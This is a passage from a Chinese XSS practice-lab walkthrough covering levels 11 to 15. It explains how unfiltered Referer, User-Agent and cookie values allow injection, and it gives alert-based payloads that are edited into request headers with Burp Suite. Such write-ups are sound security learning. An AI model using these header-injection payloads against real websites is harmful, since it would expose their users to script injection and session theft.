type=”test” // 让input显示出来,并且用//闭合掉后面的
然后移到input 就弹窗了
新增知识点:适当的查看下网页的源码,看看input里是否能传值,是否被隐藏了
第11关 ,同样的也是研究了好几个小时不明白才看的
它这边对 t_sort 做了实体编码,不管输出啥都没用,但是对HTTP——REFRER 只做了<> 的替换
$_SERVER['HTTP_REFERER']; 就是referer (来源网址)
所有可以在referer 里构造XSS
在这里,我们新建一个tmp1.php页面
内容就是提交到 level11.php (第11关)
在页面点击提交
打开burp suite
通过抓包修改referer
http://localhost/tmp1.php" οnmοuseοver=alert(/ss/) type="text"//
修改成这样
然后再放行就成这样了
构造出了一个 input 移到这里就弹窗了
第12关
第12关也是referer 过滤没严格,它判断了来源是什么浏览器
打开firebug 可以看到
这边是判断对方的来源 是什么浏览器,我们可以在这里构造XSS payload
通过11关跳转到12关的这个对方,进行抓包
修改这里的参数
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)" οnmοuseοver=alert(/ss/) type="text" //
点击forward 放行
然后12关就会出现 本来应该隐藏的input 移到哪里就会弹窗
第13关
13关的关键点在于 t_cook 这个参数
它的值是根据cookie 而定的,所以你可以在线的去修改cookie 的值
再对页面刷新下,就成功了~~
14 关因为现在的一些安全原因,显示不出来
15
http://bbs.ichunqiu.com/thread-15664-1-1.html
答案
不玩了,没意思